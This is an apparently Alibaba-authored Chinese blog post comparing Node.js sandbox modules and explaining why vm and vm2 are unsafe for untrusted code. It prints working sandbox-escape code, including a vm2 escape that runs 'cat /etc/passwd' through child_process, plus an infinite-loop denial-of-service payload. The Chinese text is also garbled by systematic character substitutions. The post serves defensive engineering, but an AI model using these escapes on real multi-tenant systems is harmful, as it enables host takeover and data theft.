如何让不受信任代码“安全”运行?

文/   阿里淘系 F(x) Team  笑翟javascript

咱们在 imgcook 智能生成代码过程当中,但愿提供一些自定义的能力,好比自定义 DSL、自定义逻辑点识别/表达,可以让开发者按照官方提供的标准协议数据,在可控范围和权限内自定义生成本身所须要的代码,也不用局限官方提供的代码生成模板,扩展自定义逻辑识别能力/表达能力,生成定义的逻辑代码,知足开发者自定义业务多样化的需求。html


那么,这些自定义能力的脚本须要运行在一个沙箱容器,同时考虑到运行环境统一以及需加载 Node 模块能力,咱们须要在服务端构建脚本运行沙箱容器,这样安全就更为重要(开发者的脚本必须严格受到限制与隔离,不能影响到宿主程序,也不能影响用户使用),跟运行在客户端(用户的)应用不一样,客户端运行只会影响他本身。java


所以,咱们调研&探索如何选择/构建一个为 Node.js 应用更安全的沙箱模块。node


沙箱是什么?

先介绍下沙箱技术,是一个虚拟系统程序,容许你在沙箱环境中容许浏览器或者其余程序,所以运行所产生的变化能够随后删除。它创造了一个相似沙盒的独立做业环境,在其内部运行的程序并不能对硬盘产生永久性的影响,其是一个独立的虚拟环境,可用来测试不受信任的应用程序或上网行为。git


沙箱是一种虚拟系统程序,沙箱提供的环境相对每个运行的程序都是独立的,而不会对现有的系统产生影响。github


Node.js 沙箱模块分析


下面咱们介绍下以前调研过的一些 Node.js 的沙箱。web


模块api

(module)浏览器

安全安全

(Secure)

内存限制

(Memory Limits)

是否隔离

(Isolated)

多线程

(Multithreaded)

模块支持

(Module Support)

检查器支持(Inspector Support)

vm







worker_threads







vm2






napajs





Partial


webworker-threads







tiny-worker







isolated-vm







jailed







safeify








  • vm: 只是改变了运行环境的上下文,因此官网说是不能用于执行不安全的代码
  • vm2: 作了一些简单的覆盖,提高了安全性,由于公用同一个上下文,因此 loader 相同,存在对全局模块的修改问题
  • webworker-threads: 早期的社区实现,没法 require
  • worker_threads: 官方实现的多线程,线程间的确是隔离的,可是没法对 io 操做进行限制
  • tiny-worker: 对上面的一个包装
  • Napa.js: 微软开源项目,并行计算环境,一个基于 V8 的多线程 JavaScript 运行时,该运行时最初旨在开发高度迭代的服务,并在 Bing 中具备出色的性能。
  • isolated-vm: nodejs 的库,可以让您访问 v8 的 Isolate 接口。 这样,你就能够建立彼此彻底隔离的JavaScript环境。 若是您须要以安全的方式运行一些不受信任的代码,则可能会发现此模块颇有用。 若是您须要在多个线程中同时运行一些JavaScript,您可能还会发现此模块颇有用。 若是您须要同时进行这两个项目,那么您可能会发现此项目很是有用!
  • Jailed:一个小型JavaScript库,用于在沙箱中运行不受信任的代码。 该库是用 vanilla-js 编写的,没有任何依赖关系。
  • safeify:为将要执行的动态代码创建专门的进程池,与宿主应用程序分离在不一样的进程中执行,支持配置沙箱进程池的最大进程数量,支持限定同步代码的最大执行时间,同时也支持限定包括异步代码在内的执行时间,支持限定沙箱进程池的总体的 CPU 资源配额,支持限定沙箱进程池的总体的最大的内存限制。


搜索 Node.js 沙箱,出现的是 Node.js 提供 vm 内建模块,咱们看下 vm 模块。



Node.js vm



vm 是 Node.js 默认提供的一个内建模块,它提供了一系列 API 用于在 V8 虚拟机环境中编译和运行代码。


A common use case is to run the code in a different V8 Context.

This means invoked code has a different global object than the invoking code.

One can provide the context by contextifying an object. The invoked code treats any property in the context like a global variable. Any changes to global variables caused by the invoked code are reflected in the context object.


一个常见的用例是在不一样的 V8 上下文中运行代码。

这意味着被调用的代码与调用的代码具备不一样的全局对象。

能够经过使对象上下文隔离化来提供上下文。 被调用的代码将上下文中的任何属性都视为全局变量。 由调用的代码引发的对全局变量的任何更改都将会反映在上下文对象中。


The vm module enables compiling and running code within V8 Virtual Machine contexts.

The vm module is not a security mechanism.

Do not use it to run untrusted code.


vm 模块可在 V8 虚拟机上下文中编译和运行代码。

vm 模块不是安全的机制。

不要使用它来运行不受信任的代码。


vm 尽管隔离了上下文环境,但依然能够访问标准的 Javascript API 和全局的 Node.js 环境。

因此 vm 并非安全的。


看个例子:

"use strict";
const vm = require('vm');
const result = vm.runInNewContext(`process`);
console.log(result);复制代码

结果:

image.png

“process is not defined”,默认状况下VM模块不能访问进程,若是想要访问须要指定受权。

看起来默认不能访问 “process、require” 等就知足需求了,可是真的没有办法触及主进程并执行代码了?

看下面这段代码

"use strict";
const vm = require('vm');
const sandbox =  {};
const script = new vm.Script("this.constructor.constructor('return process')().exit()");
const context = vm.createContext(sandbox);
script.runInContext(context);
console.log("Hello World!");复制代码


在 javascript 中 this 指向它所属的对象,因此咱们使用它时就已经指向了一个 vm 上下文以外的对象。

那么访问this的 constructor 就返回 Object Constructor ,访问 Object Constructor 的 .constructor 返回Function constructor 。

Function constructor 就像 javascript 提供的最高函数,他能够访问全局,因此他能返回全局事物。

Function constructor 容许从字符串生成函数,从而执行任意代码。


能够看出这段代码的 Hello World! 永远不会输出。

彷佛隔离了代码执行环境,但实际上很容易逃逸出去。


由于 Node.js 默认内建模块 vm 有缺陷,因此就有了 vm二、jailed、napajs。下面看下 vm2 模块。



Node.js vm2


vm2 基于 vm,使用官方的 vm 库构建沙箱环境。使用 JavaScript 的 Proxy 技术来防止沙箱脚本逃逸。指定白名单 Node 的内置模块一块儿运行不受信任的代码。安全地!仅 JavaScript 内置对象和 Buffer 可用。默认下调度函数(setInterval,setTimeout 和 setImmediate)默认状况下不可用。


vm2 特性

主要有如下几点特性:

  • 运行不受信任的 javascript 脚本
  • 沙箱的终端输出信息彻底可控
  • 沙箱内能够受限地加载 modules
  • 能够安全地向沙箱间传递 callback
  • 死循环攻击免疫 while (true) {}



vm2 工做原理


vm2 内部使用 vm 模块建立安全(上下文)它使用代理来防止逃逸沙箱

如今,从 vm contenxt 到沙箱的全部内容均可以用来进行处理。


"use strict";
const {VM} = require('vm2');
new VM().run('this.constructor.constructor("return process")())');复制代码

抛出异常错误,process 未定义。


逃逸


因为 VM2 将 VM 上下文中的全部对象都上下文化,所以 this 关键字再也不具备对 constructor 属性的访问权,所以咱们以前的有效负载已失效。


对于绕过,咱们将须要沙箱以外的内容,以便它不只限于沙箱上下文,并且能够再次访问构造函数。

如今,vm 内部的全部对象都已限制了,咱们以某种方式须要外部的一些东西来爬回进程,而后执行代码。


若是咱们在 try 块中编写错误代码,这将会致使宿主进程抛出异常,而后咱们经过 catch 将宿主进程的异常捕获回 vm,而后使用该异常进行处理。这极可能就是咱们要作的


// vm2 将该漏洞已修复
const {NodeVM} = require('vm2'); 
nvm = new NodeVM()

nvm.run(`
  try {
  this.process.removeListener(); 
  } 
  catch (host_exception) {
  console.log('host exception: ' + host_exception.toString());
  host_constructor = host_exception.constructor.constructor;
  host_process = host_constructor('return this')().process;
  child_process = host_process.mainModule.require("child_process");
  console.log(child_process.execSync("cat /etc/passwd").toString());
  }`);复制代码


在 try 块中,咱们尝试删除正在执行此操做的当前进程上的侦听器 - this.process.removeListener() 这会引发主机异常。因为来自宿主进程的异常不会在传递到沙箱以前被关联,所以咱们可使用该异常爬升到所需的树到require。


毕竟,vm2 中还有更多新的创造性的绕过 - 更多的逃逸


除了沙箱逃逸以外,还可使用infinite while loop方法建立无限循环拒绝服务

const {VM} = require('vm2');
new VM({timeout:1}).run(`
        function main(){
        while(1){}
    }
    new Proxy({}, {
        getPrototypeOf(t){
            global.main();
        }
    })`);复制代码


性能对比

沙箱机制对于性能影响仍是挺大的


自增次数 normal vm vm2 jailed

isolated-vm

1000

0.042ms

1179.227ms

354.053ms

12.246ms

24.303ms

10000

0.368ms

9404.247ms

2107.150ms

121.993ms

242.625ms

100000

11.375ms

128843.386ms

17624.867ms

1058.524ms

1155.492ms


测试代码

const vm = require('vm');
const { VM } = require('vm2');
const jailed = require('jailed');
const path = './plugin.js';

var api = {
  log: console.log
};
let plugin = new jailed.Plugin(path, api);

var reportResult = function(result) {
  // console.log("Result is: " + result);
};

let a = 0;
const vm2 = new VM({
  timeout: 1000,
  sandbox: {
    a: a
  }
});

const count = 100000;

// normal
console.time('normal');

for (let i = 0; i < count; ++i) {
  a += 1;
}

console.timeEnd('normal');

// vm
console.time('vm');

for (let i = 0; i < count; ++i) {
  vm.runInNewContext('a += 1', { a: a });
}

console.timeEnd('vm');

// vm2 timer
console.time('vm2');

for (let i = 0; i < count; ++i) {
  vm2.run('a += 1');
}

console.timeEnd('vm2');

// jailed
plugin.whenConnected(() => {
  console.time('jailed');
  for (let i = 0; i < count; ++i) {
    plugin.remote.square(2, reportResult);
  }
  console.timeEnd('jailed');
  plugin.disconnect();
});

console.time('isolated-vm');
// isolated-vm
// 建立一个内存限制 128MB 的隔离虚拟机
const ivm = require('isolated-vm');
const isolate = new ivm.Isolate({
  memoryLimit: 128
});

// 每一个隔离虚拟机的上下文相互隔离
const context = isolate.createContextSync();

// 解除 global 的引用,传递给上一步建立的上下文
context.global.setSync('global', context.global.derefInto());

// 在上述上下文中执行,并解构结果
for (let i = 0; i < count; ++i) {
  const { result } = context.evalSync(`(() => "Hello world")()`);
  // console.log(result);
}

// > hello world
// console.log(result);
console.timeEnd('isolated-vm');
复制代码



最后

运行不信任的代码是很困难的,只依赖软件模块做为沙箱技术,防止不受信任代码用于非正当用途是糟糕的决定。这可能促使云上 SAAS 应用不安全,由于经过逃逸出沙箱进程多个租户间的数据可能被访问。所以自定义脚本执行只针对内部开放,外部的必须得通过严格审核才能执行。要尽可能避开执行动态执行脚本,若是实在避不开或须要这个功能,但愿本文可以对你有些帮助。



参考资料

相关文章
相关标签/搜索